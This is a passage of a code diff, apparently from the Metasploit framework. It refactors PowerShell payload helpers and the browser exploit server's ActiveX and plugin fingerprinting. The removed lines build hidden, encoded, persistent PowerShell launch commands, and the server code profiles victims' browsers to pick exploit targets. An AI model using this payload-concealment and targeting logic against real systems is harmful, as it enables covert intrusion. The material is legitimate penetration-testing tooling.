Rex::Powershell::Command.encode_script(script_in, opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -46,16 +42,14 @@ module Exploit::Powershell
|
||||||
# @param eof [String] Marker to indicate the end of file appended to script
|
# @param eof [String] Marker to indicate the end of file appended to script
|
||||||
#
|
#
|
||||||
# @return [String] Compressed script with decompression stub
|
# @return [String] Compressed script with decompression stub
|
||||||
def compress_script(script_in, eof = nil)
|
def compress_script(script_in, eof=nil)
|
||||||
# Build script object
|
opts = {}
|
||||||
psh = PowershellScript.new(script_in)
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||||
# Invoke enabled modifiers
|
|
||||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
psh.send(mod_method)
|
opts[mod_method.to_sym] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
psh.compress_code(eof)
|
Rex::Powershell::Command.compress_script(script_in, eof, opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -69,19 +63,7 @@ module Exploit::Powershell
|
||||||
#
|
#
|
||||||
# @return [String] Powershell command line with arguments
|
# @return [String] Powershell command line with arguments
|
||||||
def generate_psh_command_line(opts)
|
def generate_psh_command_line(opts)
|
||||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
Rex::Powershell::Command.generate_psh_command_line(opts)
|
||||||
opts[:path] << '\\'
|
|
||||||
end
|
|
||||||
|
|
||||||
if opts[:no_full_stop]
|
|
||||||
binary = 'powershell'
|
|
||||||
else
|
|
||||||
binary = 'powershell.exe'
|
|
||||||
end
|
|
||||||
|
|
||||||
args = generate_psh_args(opts)
|
|
||||||
|
|
||||||
"#{opts[:path]}#{binary} #{args}"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -122,66 +104,7 @@ module Exploit::Powershell
|
||||||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||||
end
|
end
|
||||||
|
|
||||||
arg_string = ' '
|
Rex::Powershell::Command.generate_psh_args(opts)
|
||||||
opts.each_pair do |arg, value|
|
|
||||||
case arg
|
|
||||||
when :encodedcommand
|
|
||||||
arg_string << "-EncodedCommand #{value} " if value
|
|
||||||
when :executionpolicy
|
|
||||||
arg_string << "-ExecutionPolicy #{value} " if value
|
|
||||||
when :inputformat
|
|
||||||
arg_string << "-InputFormat #{value} " if value
|
|
||||||
when :file
|
|
||||||
arg_string << "-File #{value} " if value
|
|
||||||
when :noexit
|
|
||||||
arg_string << '-NoExit ' if value
|
|
||||||
when :nologo
|
|
||||||
arg_string << '-NoLogo ' if value
|
|
||||||
when :noninteractive
|
|
||||||
arg_string << '-NonInteractive ' if value
|
|
||||||
when :mta
|
|
||||||
arg_string << '-Mta ' if value
|
|
||||||
when :outputformat
|
|
||||||
arg_string << "-OutputFormat #{value} " if value
|
|
||||||
when :sta
|
|
||||||
arg_string << '-Sta ' if value
|
|
||||||
when :noprofile
|
|
||||||
arg_string << '-NoProfile ' if value
|
|
||||||
when :windowstyle
|
|
||||||
arg_string << "-WindowStyle #{value} " if value
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Command must be last (unless from stdin - etc)
|
|
||||||
if opts[:command]
|
|
||||||
arg_string << "-Command #{opts[:command]}"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Shorten arg if PSH 2.0+
|
|
||||||
if opts[:shorten]
|
|
||||||
# Invoke-Command and Out-File require these options to have
|
|
||||||
# an additional space before to prevent Powershell code being
|
|
||||||
# mangled.
|
|
||||||
arg_string.gsub!(' -Command ', ' -c ')
|
|
||||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
|
||||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
|
||||||
arg_string.gsub!(' -File ', ' -f ')
|
|
||||||
arg_string.gsub!('-InputFormat ', '-i ')
|
|
||||||
arg_string.gsub!('-NoExit ', '-noe ')
|
|
||||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
|
||||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
|
||||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
|
||||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
|
||||||
arg_string.gsub!('-Sta ', '-s ')
|
|
||||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
|
||||||
end
|
|
||||||
|
|
||||||
# Strip off first space character
|
|
||||||
arg_string = arg_string[1..-1]
|
|
||||||
# Remove final space character
|
|
||||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
|
||||||
|
|
||||||
arg_string
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -196,41 +119,15 @@ module Exploit::Powershell
|
||||||
# @return [String] Wrapped powershell code
|
# @return [String] Wrapped powershell code
|
||||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||||
arg_opts = {
|
arg_opts = {
|
||||||
noprofile: true,
|
noprofile: true,
|
||||||
windowstyle: 'hidden',
|
windowstyle: 'hidden',
|
||||||
}
|
}
|
||||||
|
|
||||||
if encoded
|
|
||||||
arg_opts[:encodedcommand] = ps_code
|
|
||||||
else
|
|
||||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Old technique fails if powershell exits..
|
# Old technique fails if powershell exits..
|
||||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
|
||||||
|
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||||
|
|
||||||
ps_args = generate_psh_args(arg_opts)
|
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
|
||||||
|
|
||||||
process_start_info = <<EOS
|
|
||||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
|
||||||
$s.FileName=$b
|
|
||||||
$s.Arguments='#{ps_args}'
|
|
||||||
$s.UseShellExecute=$false
|
|
||||||
$p=[System.Diagnostics.Process]::Start($s)
|
|
||||||
EOS
|
|
||||||
process_start_info.gsub!("\n", ';')
|
|
||||||
|
|
||||||
archictecure_detection = <<EOS
|
|
||||||
if([IntPtr]::Size -eq 4){
|
|
||||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
|
||||||
}else{
|
|
||||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
|
||||||
};
|
|
||||||
EOS
|
|
||||||
|
|
||||||
archictecure_detection.gsub!("\n", '')
|
|
||||||
|
|
||||||
archictecure_detection + process_start_info
|
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -263,118 +160,28 @@ EOS
|
||||||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||||
opts[:method] ||= datastore['Powershell::method']
|
opts[:method] ||= datastore['Powershell::method']
|
||||||
|
|
||||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
unless opts.key? :shorten
|
||||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||||
end
|
|
||||||
|
|
||||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
|
||||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
|
||||||
end
|
|
||||||
|
|
||||||
psh_payload = case opts[:method]
|
|
||||||
when 'net'
|
|
||||||
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
|
|
||||||
when 'reflection'
|
|
||||||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
|
|
||||||
when 'old'
|
|
||||||
Msf::Util::EXE.to_win32pe_psh(framework, pay)
|
|
||||||
when 'msil'
|
|
||||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
|
||||||
else
|
|
||||||
fail RuntimeError, 'No Powershell method specified'
|
|
||||||
end
|
|
||||||
|
|
||||||
# Run our payload in a while loop
|
|
||||||
if opts[:persist]
|
|
||||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
|
||||||
sleep_time = rand(5) + 5
|
|
||||||
vprint_status("Sleep time set to #{sleep_time} seconds")
|
|
||||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
|
||||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
|
||||||
end
|
|
||||||
|
|
||||||
if opts[:prepend_sleep]
|
|
||||||
if opts[:prepend_sleep].to_i > 0
|
|
||||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
|
||||||
elsif opts[:prepend_sleep].to_i < 0
|
|
||||||
vprint_error('Sleep time must be greater than or equal to 0 seconds')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
compressed_payload = compress_script(psh_payload)
|
|
||||||
encoded_payload = encode_script(psh_payload)
|
|
||||||
|
|
||||||
# This branch is probably never taken...
|
|
||||||
if encoded_payload.length <= compressed_payload.length
|
|
||||||
smallest_payload = encoded_payload
|
|
||||||
encoded = true
|
|
||||||
else
|
|
||||||
if opts[:encode_inner_payload]
|
|
||||||
encoded = true
|
|
||||||
compressed_encoded_payload = encode_script(compressed_payload)
|
|
||||||
|
|
||||||
if encoded_payload.length <= compressed_encoded_payload.length
|
|
||||||
smallest_payload = encoded_payload
|
|
||||||
else
|
|
||||||
smallest_payload = compressed_encoded_payload
|
|
||||||
end
|
|
||||||
else
|
|
||||||
smallest_payload = compressed_payload
|
|
||||||
encoded = false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# Wrap in hidden runtime / architecture detection
|
|
||||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
|
|
||||||
|
|
||||||
command_args = {
|
|
||||||
noprofile: true,
|
|
||||||
windowstyle: 'hidden'
|
|
||||||
}.merge(opts)
|
|
||||||
|
|
||||||
if opts[:encode_final_payload]
|
|
||||||
command_args[:encodedcommand] = encode_script(final_payload)
|
|
||||||
|
|
||||||
# If '=' is a bad character pad the payload until Base64 encoded
|
|
||||||
# payload contains none.
|
|
||||||
if opts[:no_equals]
|
|
||||||
while command_args[:encodedcommand].include? '='
|
|
||||||
final_payload << ' '
|
|
||||||
command_args[:encodedcommand] = encode_script(final_payload)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
else
|
|
||||||
if opts[:use_single_quotes]
|
|
||||||
# Escape Single Quotes
|
|
||||||
final_payload.gsub!("'", "''")
|
|
||||||
# Wrap command in quotes
|
|
||||||
final_payload = "'#{final_payload}'"
|
|
||||||
end
|
|
||||||
|
|
||||||
command_args[:command] = final_payload
|
|
||||||
end
|
|
||||||
|
|
||||||
psh_command = generate_psh_command_line(command_args)
|
|
||||||
|
|
||||||
if opts[:remove_comspec]
|
|
||||||
command = psh_command
|
|
||||||
else
|
|
||||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
|
||||||
end
|
end
|
||||||
|
template_path = File.join(Msf::Config.data_directory,
|
||||||
|
"templates",
|
||||||
|
"scripts")
|
||||||
|
|
||||||
|
command = Rex::Powershell::Command.cmd_psh_payload(pay,
|
||||||
|
payload_arch,
|
||||||
|
template_path,
|
||||||
|
opts)
|
||||||
vprint_status("Powershell command length: #{command.length}")
|
vprint_status("Powershell command length: #{command.length}")
|
||||||
if command.length > 8191
|
|
||||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
|
||||||
end
|
|
||||||
|
|
||||||
command
|
command
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Useful method cache
|
# Useful method cache
|
||||||
#
|
#
|
||||||
module PshMethods
|
module PshMethods
|
||||||
include Rex::Exploitation::Powershell::PshMethods
|
include Rex::Powershell::PshMethods
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -49,24 +49,30 @@ module Msf
|
||||||
|
|
||||||
# Requirements a browser module can define in either BrowserRequirements or in targets
|
# Requirements a browser module can define in either BrowserRequirements or in targets
|
||||||
REQUIREMENT_KEY_SET = Set.new([
|
REQUIREMENT_KEY_SET = Set.new([
|
||||||
:source, # Either 'script' or 'headers'
|
:source, # Return either 'script' or 'headers'
|
||||||
:ua_name, # Example: MSIE
|
:ua_name, # Example: Returns 'MSIE'
|
||||||
:ua_ver, # Example: 8.0, 9.0
|
:ua_ver, # Example: Returns '8.0', '9.0'
|
||||||
:os_name, # Example: Windows 7, Linux
|
:os_name, # Example: Returns 'Windows 7', 'Linux'
|
||||||
:os_device, # Example: iPad, iPhone, etc
|
:os_device, # Example: Returns 'iPad', 'iPhone', etc
|
||||||
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
|
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
|
||||||
:os_sp, # Example: SP2
|
:os_sp, # Example: Returns 'SP2'
|
||||||
:language, # Example: en-us
|
:language, # Example: Returns 'en-us'
|
||||||
:arch, # Example: x86
|
:arch, # Example: Returns 'x86'
|
||||||
:proxy, # 'true' or 'false'
|
:proxy, # Returns 'true' or 'false'
|
||||||
:silverlight, # 'true' or 'false'
|
:silverlight, # Returns 'true' or 'false'
|
||||||
:office, # Example: "2007", "2010"
|
:office, # Example: Returns "2007", "2010"
|
||||||
:java, # Example: 1.6, 1.6.0.0
|
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
|
||||||
:clsid, # ActiveX clsid. Also requires the :method key
|
:mshtml_build, # mshtml build. Example: Returns "65535"
|
||||||
:method, # ActiveX method. Also requires the :clsid key
|
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
||||||
:mshtml_build, # mshtml build. Example: "65535"
|
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
|
||||||
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
|
# :activex is a special case.
|
||||||
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
|
# When you set this requirement in your module, this is how it should be:
|
||||||
|
# [{:clsid=>'String', :method=>'String'}]
|
||||||
|
# Where each Hash is a test case
|
||||||
|
# But when BES receives this information, the JavaScript will return this format:
|
||||||
|
# "{CLSID}=>Method=>Boolean;"
|
||||||
|
# Also see: #has_bad_activex?
|
||||||
|
:activex
|
||||||
])
|
])
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
|
@ -105,68 +111,61 @@ module Msf
|
||||||
super
|
super
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the custom 404 URL set by the user
|
# Returns the custom 404 URL set by the user
|
||||||
#
|
#
|
||||||
# @return [String]
|
# @return [String]
|
||||||
#
|
|
||||||
def get_custom_404_url
|
def get_custom_404_url
|
||||||
datastore['Custom404'].to_s
|
datastore['Custom404'].to_s
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Allows a block of code to access BES resources in a thread-safe fashion
|
# Allows a block of code to access BES resources in a thread-safe fashion
|
||||||
#
|
#
|
||||||
# @param block [Proc] Block of code to sync
|
# @param block [Proc] Block of code to sync
|
||||||
#
|
|
||||||
def sync(&block)
|
def sync(&block)
|
||||||
(@mutex ||= Mutex.new).synchronize(&block)
|
(@mutex ||= Mutex.new).synchronize(&block)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
# Returns the resource (URI) to the module to allow access to on_request_exploit
|
||||||
#
|
#
|
||||||
# @return [String] URI to the exploit page
|
# @return [String] URI to the exploit page
|
||||||
#
|
|
||||||
def get_module_resource
|
def get_module_resource
|
||||||
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
# Returns the absolute URL to the module's resource that points to on_request_exploit
|
||||||
#
|
#
|
||||||
# @return [String] absolute URI to the exploit page
|
# @return [String] absolute URI to the exploit page
|
||||||
#
|
|
||||||
def get_module_uri
|
def get_module_uri
|
||||||
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the current target
|
# Returns the current target
|
||||||
#
|
|
||||||
def get_target
|
def get_target
|
||||||
@target
|
@target
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns a hash of recognizable requirements
|
# Returns a hash of recognizable requirements
|
||||||
#
|
#
|
||||||
# @param reqs [Hash] A hash that contains data for the requirements
|
# @param reqs [Hash] A hash that contains data for the requirements
|
||||||
# @return [Hash] A hash of requirements
|
# @return [Hash] A hash of requirements
|
||||||
#
|
|
||||||
def extract_requirements(reqs)
|
def extract_requirements(reqs)
|
||||||
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
|
||||||
# Make sure keys are always symbols
|
# Make sure keys are always symbols
|
||||||
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Sets the target automatically based on what requirements are met.
|
# Sets the target automatically based on what requirements are met.
|
||||||
# If there's a possible matching target, it will also merge the requirements.
|
# If there's a possible matching target, it will also merge the requirements.
|
||||||
# You can use the get_target() method to retrieve the most current target.
|
# You can use the get_target() method to retrieve the most current target.
|
||||||
#
|
#
|
||||||
# @param profile [Hash] The profile to check
|
# @param profile [Hash] The profile to check
|
||||||
#
|
|
||||||
def try_set_target(profile)
|
def try_set_target(profile)
|
||||||
match_counts = []
|
match_counts = []
|
||||||
target_requirements = {}
|
target_requirements = {}
|
||||||
|
@ -195,30 +194,36 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
|
# Returns true if there's a bad ActiveX, otherwise false.
|
||||||
|
# @param ax [String] The raw activex the JavaScript detection will return in this format:
|
||||||
|
# "{CLSID}=>Method=>Boolean;"
|
||||||
|
# @return [Boolean] True if there's a bad ActiveX, otherwise false
|
||||||
|
def has_bad_activex?(ax)
|
||||||
|
ax.split(';').each do |a|
|
||||||
|
bool = a.split('=>')[2]
|
||||||
|
if bool == 'false'
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
# Returns an array of items that do not meet the requirements
|
# Returns an array of items that do not meet the requirements
|
||||||
#
|
#
|
||||||
# @param profile [Hash] The profile to check
|
# @param profile [Hash] The profile to check
|
||||||
# @return [Array] An array of requirements not met
|
# @return [Array] An array of requirements not met
|
||||||
#
|
|
||||||
def get_bad_requirements(profile)
|
def get_bad_requirements(profile)
|
||||||
bad_reqs = []
|
bad_reqs = []
|
||||||
|
|
||||||
# At this point the check is already done.
|
|
||||||
# If :activex is true, that means the clsid + method had a match,
|
|
||||||
# if not, then false.
|
|
||||||
if @requirements[:clsid] and @requirements[:method]
|
|
||||||
@requirements[:activex] = 'true' # Script passes boolean as string
|
|
||||||
end
|
|
||||||
|
|
||||||
@requirements.each do |k, v|
|
@requirements.each do |k, v|
|
||||||
# Special keys to ignore because the script registers this as [:activex] = true or false
|
|
||||||
next if k == :clsid or k == :method
|
|
||||||
|
|
||||||
expected = k != :vuln_test ? v : 'true'
|
expected = k != :vuln_test ? v : 'true'
|
||||||
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
|
||||||
|
|
||||||
if k == :vuln_test
|
if k == :activex
|
||||||
|
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
|
||||||
|
elsif k == :vuln_test
|
||||||
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
|
||||||
elsif v.is_a? Regexp
|
elsif v.is_a? Regexp
|
||||||
bad_reqs << k if profile[k.to_sym] !~ v
|
bad_reqs << k if profile[k.to_sym] !~ v
|
||||||
|
@ -232,7 +237,6 @@ module Msf
|
||||||
bad_reqs
|
bad_reqs
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the target profile based on the tag. Each profile has the following structure:
|
# Returns the target profile based on the tag. Each profile has the following structure:
|
||||||
# 'cookie_name' =>
|
# 'cookie_name' =>
|
||||||
# {
|
# {
|
||||||
|
@ -253,7 +257,7 @@ module Msf
|
||||||
#
|
#
|
||||||
# If the source is 'script', the profile might have even more information about plugins:
|
# If the source is 'script', the profile might have even more information about plugins:
|
||||||
# 'office' : The version of Microsoft Office (IE only)
|
# 'office' : The version of Microsoft Office (IE only)
|
||||||
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
|
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
|
||||||
# 'java' : The Java version
|
# 'java' : The Java version
|
||||||
# 'mshtml_build' : The MSHTML build version
|
# 'mshtml_build' : The MSHTML build version
|
||||||
# 'flash' : The Flash version
|
# 'flash' : The Flash version
|
||||||
|
@ -261,45 +265,41 @@ module Msf
|
||||||
#
|
#
|
||||||
# @param tag [String] Either a cookie or IP + User-Agent
|
# @param tag [String] Either a cookie or IP + User-Agent
|
||||||
# @return [Hash] The profile found. If not found, returns nil
|
# @return [Hash] The profile found. If not found, returns nil
|
||||||
#
|
|
||||||
def get_profile(tag)
|
def get_profile(tag)
|
||||||
sync do
|
sync do
|
||||||
return @target_profiles[tag]
|
return @target_profiles[tag]
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Updates information for a specific profile
|
# Updates information for a specific profile
|
||||||
#
|
#
|
||||||
# @param target_profile [Hash] The profile to update
|
# @param target_profile [Hash] The profile to update
|
||||||
# @param key [Symbol] The symbol to use for the hash
|
# @param key [Symbol] The symbol to use for the hash
|
||||||
# @param value [String] The value to assign
|
# @param value [String] The value to assign
|
||||||
#
|
|
||||||
def update_profile(target_profile, key, value)
|
def update_profile(target_profile, key, value)
|
||||||
sync do
|
sync do
|
||||||
target_profile[key] = value
|
target_profile[key] = value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Initializes a profile, if it did not previously exist
|
# Initializes a profile, if it did not previously exist
|
||||||
#
|
#
|
||||||
# @param tag [String] A unique string as a way to ID the profile
|
# @param tag [String] A unique string as a way to ID the profile
|
||||||
#
|
|
||||||
def init_profile(tag)
|
def init_profile(tag)
|
||||||
sync do
|
sync do
|
||||||
@target_profiles[tag] ||= {}
|
@target_profiles[tag] ||= {}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Retrieves a tag.
|
# Retrieves a tag.
|
||||||
# First it obtains the tag from the browser's "Cookie" header.
|
# First it obtains the tag from the browser's "Cookie" header.
|
||||||
# If the header is empty (possible if the browser has cookies disabled),
|
# If the header is empty (possible if the browser has cookies disabled),
|
||||||
# then it will return a tag based on IP + the user-agent.
|
# then it will return a tag based on IP + the user-agent.
|
||||||
#
|
#
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def retrieve_tag(cli, request)
|
def retrieve_tag(cli, request)
|
||||||
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
|
||||||
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
|
||||||
|
@ -317,13 +317,12 @@ module Msf
|
||||||
tag
|
tag
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Registers target information to @target_profiles
|
# Registers target information to @target_profiles
|
||||||
#
|
#
|
||||||
# @param source [Symbol] Either :script, or :headers
|
# @param source [Symbol] Either :script, or :headers
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def process_browser_info(source, cli, request)
|
def process_browser_info(source, cli, request)
|
||||||
tag = retrieve_tag(cli, request)
|
tag = retrieve_tag(cli, request)
|
||||||
init_profile(tag)
|
init_profile(tag)
|
||||||
|
@ -361,23 +360,21 @@ module Msf
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Checks if the target is running a proxy
|
# Checks if the target is running a proxy
|
||||||
#
|
#
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
# @return [Boolean] True if found, otherwise false
|
# @return [Boolean] True if found, otherwise false
|
||||||
#
|
|
||||||
def has_proxy?(request)
|
def has_proxy?(request)
|
||||||
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
|
||||||
!proxy_header_set.empty?
|
!proxy_header_set.empty?
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Returns the code for client-side detection
|
# Returns the code for client-side detection
|
||||||
#
|
#
|
||||||
# @param user_agent [String] The user-agent of the browser
|
# @param user_agent [String] The user-agent of the browser
|
||||||
# @return [String] Returns the HTML for detection
|
# @return [String] Returns the HTML for detection
|
||||||
#
|
|
||||||
def get_detection_html(user_agent)
|
def get_detection_html(user_agent)
|
||||||
ua_info = fingerprint_user_agent(user_agent)
|
ua_info = fingerprint_user_agent(user_agent)
|
||||||
os = ua_info[:os_name]
|
os = ua_info[:os_name]
|
||||||
|
@ -418,11 +415,20 @@ module Msf
|
||||||
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
d['office'] = ie_addons_detect.getMsOfficeVersion();
|
||||||
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
|
||||||
<%
|
<%
|
||||||
clsid = @requirements[:clsid]
|
activex = @requirements[:activex]
|
||||||
method = @requirements[:method]
|
if activex
|
||||||
if clsid and method
|
activex.each do \|a\|
|
||||||
|
clsid = a[:clsid]
|
||||||
|
method = a[:method]
|
||||||
%>
|
%>
|
||||||
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
|
||||||
|
d['activex'] = "";
|
||||||
|
if (ax == true) {
|
||||||
|
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
|
||||||
|
} else {
|
||||||
|
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
|
||||||
|
}
|
||||||
|
<% end %>
|
||||||
<% end %>
|
<% end %>
|
||||||
<% end %>
|
<% end %>
|
||||||
|
|
||||||
|
@ -438,7 +444,7 @@ module Msf
|
||||||
|
|
||||||
%Q|
|
%Q|
|
||||||
<script>
|
<script>
|
||||||
#{js}
|
#{code}
|
||||||
</script>
|
</script>
|
||||||
<noscript>
|
<noscript>
|
||||||
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
|
||||||
|
@ -462,12 +468,11 @@ module Msf
|
||||||
cookie
|
cookie
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Handles exploit stages.
|
# Handles exploit stages.
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
#
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
case request.uri
|
case request.uri
|
||||||
when '/', get_resource.chomp("/")
|
when '/', get_resource.chomp("/")
|
||||||
|
@ -548,18 +553,17 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Overriding method. The module should override this.
|
# Overriding method. The module should override this.
|
||||||
#
|
#
|
||||||
# @param cli [Socket] Socket for the browser
|
# @param cli [Socket] Socket for the browser
|
||||||
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
|
||||||
# @param browser_info [Hash] The target profile
|
# @param browser_info [Hash] The target profile
|
||||||
#
|
|
||||||
def on_request_exploit(cli, request, browser_info)
|
def on_request_exploit(cli, request, browser_info)
|
||||||
raise NoMethodError, "Module must define its own on_request_exploit method"
|
raise NoMethodError, "Module must define its own on_request_exploit method"
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Converts an ERB-based exploit template into HTML, and sends to client
|
